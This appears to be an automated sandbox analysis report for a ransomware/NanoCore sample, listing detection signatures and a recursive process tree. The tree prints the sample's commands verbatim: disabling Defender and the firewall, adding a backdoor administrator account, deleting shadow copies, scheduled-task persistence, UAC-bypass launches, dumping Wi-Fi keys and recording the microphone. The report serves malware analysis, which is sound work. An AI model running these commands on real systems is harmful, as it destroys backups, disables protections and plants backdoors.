Overview

overview

10

Static

static

10

diagon.io_ransome.exe

windows10-2004-x64

diagon.io_ransome.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    46s
  • max time network
    50s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    15/08/2026, 20:12

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

Errors

Reason
Machine shutdown

General

  • Target
    diagon.io_ransome.exe
  • Size 39KB
  • Sample260815-yyxmgsshmg
  • SHA256 ea58731aae68436bb8be60c48807a4d5af1ad22b342bd440179281cdcd6d584d
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasiondiscoveryexecutionnanocoreimpactkeyloggerpersistenceprivilege_escalationransomwarespywarestealertrojan

Malware Config

Extracted

Family

  • nanocore

Attributes
  • c2_port

    22401

Signatures

  • Family: NanoCore

    NanoCore is a remote access tool (RAT) with a variety of capabilities.

    keyloggertrojanstealerspywarenanocore
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Disables one or more Microsoft Defender components 1 TTPs 22 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

    defense_evasion
  • Modifies Windows Firewall 2 TTPs 1 IoCs
    defense_evasion
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Creates a file in the Startup directory 1 TTPs 1 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

    persistenceprivilege_escalation
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 32 IoCs

    Using powershell.exe command.

    execution
  • Creates a new local user account 1 TTPs 43 IoCs

    Uses net.exe to create a new local user account, often for persistence or a backdoor account.

    persistence
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Permission Groups Discovery: Local Groups 1 TTPs

    Attempt to find local system groups and permission settings.

    discovery
  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 9 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

    discovery
  • Interacts with shadow copies 3 TTPs 9 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies registry class 2 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 22 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\diagon.io_ransome.exe
    "C:\Users\Admin\AppData\Local\Temp\diagon.io_ransome.exe"
    1⤵
    • Checks computer location settings
    • Creates a file in the Startup directory
    • Adds Run key to start application
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:3420
    • C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\diagon.io_ransome.exe" /sc onlogon /f
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:2924
    • C:\Windows\System32\cmstp.exe
      "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\5442f648-5373-41f9-8afb-e23693575df5.inf
      2⤵
        PID:3812
      • C:\Windows\System32\eventvwr.exe
        "C:\Windows\System32\eventvwr.exe"
        2⤵
          PID:3572
          • C:\Windows\system32\mmc.exe
            "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
            3⤵
              PID:4516
          • C:\Windows\System32\fodhelper.exe
            "C:\Windows\System32\fodhelper.exe"
            2⤵
              PID:3840
              • C:\Users\Admin\AppData\Local\Temp\diagon.io_ransome.exe
                "C:\Users\Admin\AppData\Local\Temp\diagon.io_ransome.exe"
                3⤵
                  PID:2876
                  • C:\Windows\System32\schtasks.exe
                    "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\diagon.io_ransome.exe" /sc onlogon /f
                    4⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:4312
                  • C:\Windows\System32\cmstp.exe
                    "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\38c83347-24d8-4d3d-95a9-269687a172cf.inf
                    4⤵
                      PID:1608
                    • C:\Windows\System32\eventvwr.exe
                      "C:\Windows\System32\eventvwr.exe"
                      4⤵
                        PID:3196
                        • C:\Windows\system32\mmc.exe
                          "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
                          5⤵
                            PID:3288
                        • C:\Windows\System32\fodhelper.exe
                          "C:\Windows\System32\fodhelper.exe"
                          4⤵
                            PID:1980
                            • C:\Users\Admin\AppData\Local\Temp\diagon.io_ransome.exe
                              "C:\Users\Admin\AppData\Local\Temp\diagon.io_ransome.exe"
                              5⤵
                                PID:4696
                                • C:\Windows\System32\schtasks.exe
                                  "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\diagon.io_ransome.exe" /sc onlogon /f
                                  6⤵
                                  • Scheduled Task/Job: Scheduled Task
                                  PID:1240
                                • C:\Windows\System32\cmstp.exe
                                  "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\b13f6c27-04e1-4934-86aa-31e1dcf6fac7.inf
                                  6⤵
                                    PID:4864
                                  • C:\Windows\System32\eventvwr.exe
                                    "C:\Windows\System32\eventvwr.exe"
                                    6⤵
                                      PID:2704
                                      • C:\Windows\system32\mmc.exe
                                        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
                                        7⤵
                                          PID:412
                                      • C:\Windows\System32\fodhelper.exe
                                        "C:\Windows\System32\fodhelper.exe"
                                        6⤵
                                          PID:4372
                                          • C:\Users\Admin\AppData\Local\Temp\diagon.io_ransome.exe
                                            "C:\Users\Admin\AppData\Local\Temp\diagon.io_ransome.exe"
                                            7⤵
                                              PID:4612
                                              • C:\Windows\System32\schtasks.exe
                                                "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\diagon.io_ransome.exe" /sc onlogon /f
                                                8⤵
                                                • Scheduled Task/Job: Scheduled Task
                                                PID:5688
                                              • C:\Windows\System32\cmstp.exe
                                                "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\8480a1c1-db18-481d-ae5d-dd4524f8acc1.inf
                                                8⤵
                                                  PID:5752
                                                • C:\Windows\System32\eventvwr.exe
                                                  "C:\Windows\System32\eventvwr.exe"
                                                  8⤵
                                                    PID:5788
                                                    • C:\Windows\system32\mmc.exe
                                                      "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
                                                      9⤵
                                                        PID:5824
                                                    • C:\Windows\System32\fodhelper.exe
                                                      "C:\Windows\System32\fodhelper.exe"
                                                      8⤵
                                                        PID:5832
                                                        • C:\Users\Admin\AppData\Local\Temp\diagon.io_ransome.exe
                                                          "C:\Users\Admin\AppData\Local\Temp\diagon.io_ransome.exe"
                                                          9⤵
                                                            PID:5132
                                                            • C:\Windows\System32\schtasks.exe
                                                              "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\diagon.io_ransome.exe" /sc onlogon /f
                                                              10⤵
                                                              • Scheduled Task/Job: Scheduled Task
                                                              PID:6048
                                                            • C:\Windows\System32\cmstp.exe
                                                              "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\5a6e3d7a-a255-450f-aa55-c23b09fa18b8.inf
                                                              10⤵
                                                                PID:6300
                                                              • C:\Windows\System32\eventvwr.exe
                                                                "C:\Windows\System32\eventvwr.exe"
                                                                10⤵
                                                                  PID:6400
                                                                  • C:\Windows\system32\mmc.exe
                                                                    "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
                                                                    11⤵
                                                                      PID:6432
                                                                  • C:\Windows\System32\fodhelper.exe
                                                                    "C:\Windows\System32\fodhelper.exe"
                                                                    10⤵
                                                                      PID:6464
                                                                      • C:\Users\Admin\AppData\Local\Temp\diagon.io_ransome.exe
                                                                        "C:\Users\Admin\AppData\Local\Temp\diagon.io_ransome.exe"
                                                                        11⤵
                                                                          PID:6120
                                                                          • C:\Windows\System32\schtasks.exe
                                                                            "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\diagon.io_ransome.exe" /sc onlogon /f
                                                                            12⤵
                                                                            • Scheduled Task/Job: Scheduled Task
                                                                            PID:7156
                                                                          • C:\Windows\System32\cmstp.exe
                                                                            "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\f7595292-6750-4928-8285-c5489feb6d0c.inf
                                                                            12⤵
                                                                              PID:6904
                                                                            • C:\Windows\System32\eventvwr.exe
                                                                              "C:\Windows\System32\eventvwr.exe"
                                                                              12⤵
                                                                                PID:4848
                                                                                • C:\Windows\system32\mmc.exe
                                                                                  "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
                                                                                  13⤵
                                                                                    PID:6212
                                                                                • C:\Windows\System32\fodhelper.exe
                                                                                  "C:\Windows\System32\fodhelper.exe"
                                                                                  12⤵
                                                                                    PID:6824
                                                                                    • C:\Users\Admin\AppData\Local\Temp\diagon.io_ransome.exe
                                                                                      "C:\Users\Admin\AppData\Local\Temp\diagon.io_ransome.exe"
                                                                                      13⤵
                                                                                        PID:7396
                                                                                        • C:\Windows\System32\schtasks.exe
                                                                                          "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\diagon.io_ransome.exe" /sc onlogon /f
                                                                                          14⤵
                                                                                          • Scheduled Task/Job: Scheduled Task
                                                                                          PID:6292
                                                                                        • C:\Windows\System32\cmstp.exe
                                                                                          "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\29d00640-c269-40c5-af1a-bd1a36f44202.inf
                                                                                          14⤵
                                                                                            PID:7684
                                                                                          • C:\Windows\System32\eventvwr.exe
                                                                                            "C:\Windows\System32\eventvwr.exe"
                                                                                            14⤵
                                                                                              PID:7184
                                                                                              • C:\Windows\system32\mmc.exe
                                                                                                "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
                                                                                                15⤵
                                                                                                  PID:6924
                                                                                              • C:\Windows\System32\fodhelper.exe
                                                                                                "C:\Windows\System32\fodhelper.exe"
                                                                                                14⤵
                                                                                                  PID:7808
                                                                                                  • C:\Users\Admin\AppData\Local\Temp\diagon.io_ransome.exe
                                                                                                    "C:\Users\Admin\AppData\Local\Temp\diagon.io_ransome.exe"
                                                                                                    15⤵
                                                                                                      PID:8348
                                                                                                      • C:\Windows\System32\schtasks.exe
                                                                                                        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\diagon.io_ransome.exe" /sc onlogon /f
                                                                                                        16⤵
                                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                                        PID:9108
                                                                                                      • C:\Windows\System32\cmstp.exe
                                                                                                        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\da1c3564-fa86-4b57-a9c8-123f16cfdd0d.inf
                                                                                                        16⤵
                                                                                                          PID:9068
                                                                                                        • C:\Windows\System32\eventvwr.exe
                                                                                                          "C:\Windows\System32\eventvwr.exe"
                                                                                                          16⤵
                                                                                                            PID:8744
                                                                                                            • C:\Windows\system32\mmc.exe
                                                                                                              "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
                                                                                                              17⤵
                                                                                                                PID:736
                                                                                                            • C:\Windows\System32\fodhelper.exe
                                                                                                              "C:\Windows\System32\fodhelper.exe"
                                                                                                              16⤵
                                                                                                                PID:9432
                                                                                                                • C:\Users\Admin\AppData\Local\Temp\diagon.io_ransome.exe
                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\diagon.io_ransome.exe"
                                                                                                                  17⤵
                                                                                                                    PID:9028
                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                  "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
                                                                                                                  16⤵
                                                                                                                  • Disables one or more Microsoft Defender components
                                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                                  PID:9440
                                                                                                                • C:\Windows\SYSTEM32\net.exe
                                                                                                                  "net.exe" user WindowsUpdater P@ssw0rd123 /add
                                                                                                                  16⤵
                                                                                                                  • Creates a new local user account
                                                                                                                  PID:10324
                                                                                                                  • C:\Windows\system32\net1.exe
                                                                                                                    C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
                                                                                                                    17⤵
                                                                                                                    • Creates a new local user account
                                                                                                                    PID:10968
                                                                                                                • C:\Windows\SYSTEM32\net.exe
                                                                                                                  "net.exe" localgroup Administrators WindowsUpdater /add
                                                                                                                  16⤵
                                                                                                                    PID:9796
                                                                                                                    • C:\Windows\system32\net1.exe
                                                                                                                      C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
                                                                                                                      17⤵
                                                                                                                        PID:11952
                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                  "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
                                                                                                                  14⤵
                                                                                                                  • Disables one or more Microsoft Defender components
                                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                                  PID:6428
                                                                                                                • C:\Windows\SYSTEM32\net.exe
                                                                                                                  "net.exe" user WindowsUpdater P@ssw0rd123 /add
                                                                                                                  14⤵
                                                                                                                  • Creates a new local user account
                                                                                                                  PID:8368
                                                                                                                  • C:\Windows\system32\net1.exe
                                                                                                                    C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
                                                                                                                    15⤵
                                                                                                                    • Creates a new local user account
                                                                                                                    PID:8976
                                                                                                                • C:\Windows\SYSTEM32\net.exe
                                                                                                                  "net.exe" localgroup Administrators WindowsUpdater /add
                                                                                                                  14⤵
                                                                                                                    PID:8464
                                                                                                                    • C:\Windows\system32\net1.exe
                                                                                                                      C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
                                                                                                                      15⤵
                                                                                                                        PID:9492
                                                                                                                    • C:\Windows\SYSTEM32\notepad.exe
                                                                                                                      "notepad.exe"
                                                                                                                      14⤵
                                                                                                                        PID:12284
                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                    "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
                                                                                                                    12⤵
                                                                                                                    • Disables one or more Microsoft Defender components
                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                    PID:6868
                                                                                                                  • C:\Windows\SYSTEM32\net.exe
                                                                                                                    "net.exe" user WindowsUpdater P@ssw0rd123 /add
                                                                                                                    12⤵
                                                                                                                    • Creates a new local user account
                                                                                                                    PID:7500
                                                                                                                    • C:\Windows\system32\net1.exe
                                                                                                                      C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
                                                                                                                      13⤵
                                                                                                                      • Creates a new local user account
                                                                                                                      PID:7676
                                                                                                                  • C:\Windows\SYSTEM32\net.exe
                                                                                                                    "net.exe" localgroup Administrators WindowsUpdater /add
                                                                                                                    12⤵
                                                                                                                      PID:6944
                                                                                                                      • C:\Windows\system32\net1.exe
                                                                                                                        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
                                                                                                                        13⤵
                                                                                                                          PID:7588
                                                                                                                      • C:\Windows\SYSTEM32\notepad.exe
                                                                                                                        "notepad.exe"
                                                                                                                        12⤵
                                                                                                                          PID:9476
                                                                                                                        • C:\Windows\SYSTEM32\netsh.exe
                                                                                                                          "netsh" wlan show profiles key=clear
                                                                                                                          12⤵
                                                                                                                          • System Network Configuration Discovery: Wi-Fi Discovery
                                                                                                                          PID:11920
                                                                                                                        • C:\Windows\System32\vssadmin.exe
                                                                                                                          "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                                                                                                                          12⤵
                                                                                                                          • Interacts with shadow copies
                                                                                                                          PID:10720
                                                                                                                        • C:\Windows\System32\wbem\WMIC.exe
                                                                                                                          "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                                                                                                                          12⤵
                                                                                                                            PID:11424
                                                                                                                          • C:\Windows\System32\net.exe
                                                                                                                            "C:\Windows\System32\net.exe" stop srservice
                                                                                                                            12⤵
                                                                                                                              PID:8496
                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                          "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
                                                                                                                          10⤵
                                                                                                                          • Disables one or more Microsoft Defender components
                                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                                          PID:6472
                                                                                                                        • C:\Windows\SYSTEM32\net.exe
                                                                                                                          "net.exe" user WindowsUpdater P@ssw0rd123 /add
                                                                                                                          10⤵
                                                                                                                          • Creates a new local user account
                                                                                                                          PID:5528
                                                                                                                          • C:\Windows\system32\net1.exe
                                                                                                                            C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
                                                                                                                            11⤵
                                                                                                                            • Creates a new local user account
                                                                                                                            PID:6680
                                                                                                                        • C:\Windows\SYSTEM32\net.exe
                                                                                                                          "net.exe" localgroup Administrators WindowsUpdater /add
                                                                                                                          10⤵
                                                                                                                            PID:1732
                                                                                                                            • C:\Windows\system32\net1.exe
                                                                                                                              C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
                                                                                                                              11⤵
                                                                                                                                PID:7656
                                                                                                                            • C:\Windows\SYSTEM32\notepad.exe
                                                                                                                              "notepad.exe"
                                                                                                                              10⤵
                                                                                                                                PID:8948
                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639224251863269143.wav')"
                                                                                                                                10⤵
                                                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                                                PID:11288
                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                            "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
                                                                                                                            8⤵
                                                                                                                            • Disables one or more Microsoft Defender components
                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                            PID:5840
                                                                                                                          • C:\Windows\SYSTEM32\net.exe
                                                                                                                            "net.exe" user WindowsUpdater P@ssw0rd123 /add
                                                                                                                            8⤵
                                                                                                                            • Creates a new local user account
                                                                                                                            PID:6108
                                                                                                                            • C:\Windows\system32\net1.exe
                                                                                                                              C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
                                                                                                                              9⤵
                                                                                                                              • Creates a new local user account
                                                                                                                              PID:628
                                                                                                                          • C:\Windows\SYSTEM32\net.exe
                                                                                                                            "net.exe" localgroup Administrators WindowsUpdater /add
                                                                                                                            8⤵
                                                                                                                              PID:6228
                                                                                                                              • C:\Windows\system32\net1.exe
                                                                                                                                C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
                                                                                                                                9⤵
                                                                                                                                  PID:6660
                                                                                                                              • C:\Windows\SYSTEM32\notepad.exe
                                                                                                                                "notepad.exe"
                                                                                                                                8⤵
                                                                                                                                  PID:7988
                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                  "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639224251791238330.wav')"
                                                                                                                                  8⤵
                                                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                                                  PID:8976
                                                                                                                                • C:\Windows\SYSTEM32\netsh.exe
                                                                                                                                  "netsh" wlan show profiles key=clear
                                                                                                                                  8⤵
                                                                                                                                  • System Network Configuration Discovery: Wi-Fi Discovery
                                                                                                                                  PID:11076
                                                                                                                                • C:\Windows\System32\vssadmin.exe
                                                                                                                                  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                                                                                                                                  8⤵
                                                                                                                                  • Interacts with shadow copies
                                                                                                                                  PID:11836
                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                              "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
                                                                                                                              6⤵
                                                                                                                              • Disables one or more Microsoft Defender components
                                                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                                                              PID:2628
                                                                                                                            • C:\Windows\SYSTEM32\net.exe
                                                                                                                              "net.exe" user WindowsUpdater P@ssw0rd123 /add
                                                                                                                              6⤵
                                                                                                                              • Creates a new local user account
                                                                                                                              PID:5396
                                                                                                                              • C:\Windows\system32\net1.exe
                                                                                                                                C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                7⤵
                                                                                                                                • Creates a new local user account
                                                                                                                                PID:5628
                                                                                                                            • C:\Windows\SYSTEM32\net.exe
                                                                                                                              "net.exe" localgroup Administrators WindowsUpdater /add
                                                                                                                              6⤵
                                                                                                                                PID:5324
                                                                                                                                • C:\Windows\system32\net1.exe
                                                                                                                                  C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
                                                                                                                                  7⤵
                                                                                                                                    PID:5852
                                                                                                                                • C:\Windows\SYSTEM32\notepad.exe
                                                                                                                                  "notepad.exe"
                                                                                                                                  6⤵
                                                                                                                                    PID:5300
                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                    "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639224251770925257.wav')"
                                                                                                                                    6⤵
                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                    PID:9996
                                                                                                                                  • C:\Windows\SYSTEM32\netsh.exe
                                                                                                                                    "netsh" wlan show profiles key=clear
                                                                                                                                    6⤵
                                                                                                                                    • System Network Configuration Discovery: Wi-Fi Discovery
                                                                                                                                    PID:9160
                                                                                                                                  • C:\Windows\System32\vssadmin.exe
                                                                                                                                    "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                                                                                                                                    6⤵
                                                                                                                                    • Interacts with shadow copies
                                                                                                                                    PID:8060
                                                                                                                                  • C:\Windows\System32\wbem\WMIC.exe
                                                                                                                                    "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                                                                                                                                    6⤵
                                                                                                                                      PID:11864
                                                                                                                                    • C:\Windows\System32\net.exe
                                                                                                                                      "C:\Windows\System32\net.exe" stop srservice
                                                                                                                                      6⤵
                                                                                                                                        PID:9988
                                                                                                                                      • C:\Windows\System32\netsh.exe
                                                                                                                                        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                                                                                                                                        6⤵
                                                                                                                                        • Modifies Windows Firewall
                                                                                                                                        PID:12116
                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                    "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
                                                                                                                                    4⤵
                                                                                                                                    • Disables one or more Microsoft Defender components
                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                    PID:4540
                                                                                                                                  • C:\Windows\SYSTEM32\net.exe
                                                                                                                                    "net.exe" user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                    4⤵
                                                                                                                                    • Creates a new local user account
                                                                                                                                    PID:4024
                                                                                                                                    • C:\Windows\system32\net1.exe
                                                                                                                                      C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                      5⤵
                                                                                                                                      • Creates a new local user account
                                                                                                                                      PID:4940
                                                                                                                                  • C:\Windows\SYSTEM32\net.exe
                                                                                                                                    "net.exe" localgroup Administrators WindowsUpdater /add
                                                                                                                                    4⤵
                                                                                                                                      PID:5432
                                                                                                                                      • C:\Windows\system32\net1.exe
                                                                                                                                        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
                                                                                                                                        5⤵
                                                                                                                                          PID:5620
                                                                                                                                      • C:\Windows\SYSTEM32\notepad.exe
                                                                                                                                        "notepad.exe"
                                                                                                                                        4⤵
                                                                                                                                          PID:6624
                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639224251769206383.wav')"
                                                                                                                                          4⤵
                                                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                                                          PID:9912
                                                                                                                                        • C:\Windows\SYSTEM32\netsh.exe
                                                                                                                                          "netsh" wlan show profiles key=clear
                                                                                                                                          4⤵
                                                                                                                                          • System Network Configuration Discovery: Wi-Fi Discovery
                                                                                                                                          PID:9104
                                                                                                                                        • C:\Windows\System32\vssadmin.exe
                                                                                                                                          "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                                                                                                                                          4⤵
                                                                                                                                          • Interacts with shadow copies
                                                                                                                                          PID:11048
                                                                                                                                        • C:\Windows\System32\wbem\WMIC.exe
                                                                                                                                          "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                                                                                                                                          4⤵
                                                                                                                                            PID:11872
                                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
                                                                                                                                        2⤵
                                                                                                                                        • Disables one or more Microsoft Defender components
                                                                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                                                                        PID:3528
                                                                                                                                      • C:\Windows\SYSTEM32\net.exe
                                                                                                                                        "net.exe" user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                        2⤵
                                                                                                                                        • Creates a new local user account
                                                                                                                                        PID:3608
                                                                                                                                        • C:\Windows\system32\net1.exe
                                                                                                                                          C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                          3⤵
                                                                                                                                          • Creates a new local user account
                                                                                                                                          PID:2588
                                                                                                                                      • C:\Windows\SYSTEM32\net.exe
                                                                                                                                        "net.exe" localgroup Administrators WindowsUpdater /add
                                                                                                                                        2⤵
                                                                                                                                          PID:1344
                                                                                                                                          • C:\Windows\system32\net1.exe
                                                                                                                                            C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
                                                                                                                                            3⤵
                                                                                                                                              PID:1872
                                                                                                                                          • C:\Windows\SYSTEM32\notepad.exe
                                                                                                                                            "notepad.exe"
                                                                                                                                            2⤵
                                                                                                                                              PID:7136
                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                              "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639224251767643591.wav')"
                                                                                                                                              2⤵
                                                                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                                                                              PID:9844
                                                                                                                                            • C:\Windows\SYSTEM32\netsh.exe
                                                                                                                                              "netsh" wlan show profiles key=clear
                                                                                                                                              2⤵
                                                                                                                                              • System Network Configuration Discovery: Wi-Fi Discovery
                                                                                                                                              PID:9876
                                                                                                                                            • C:\Windows\System32\vssadmin.exe
                                                                                                                                              "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                                                                                                                                              2⤵
                                                                                                                                              • Interacts with shadow copies
                                                                                                                                              PID:9236
                                                                                                                                            • C:\Windows\System32\wbem\WMIC.exe
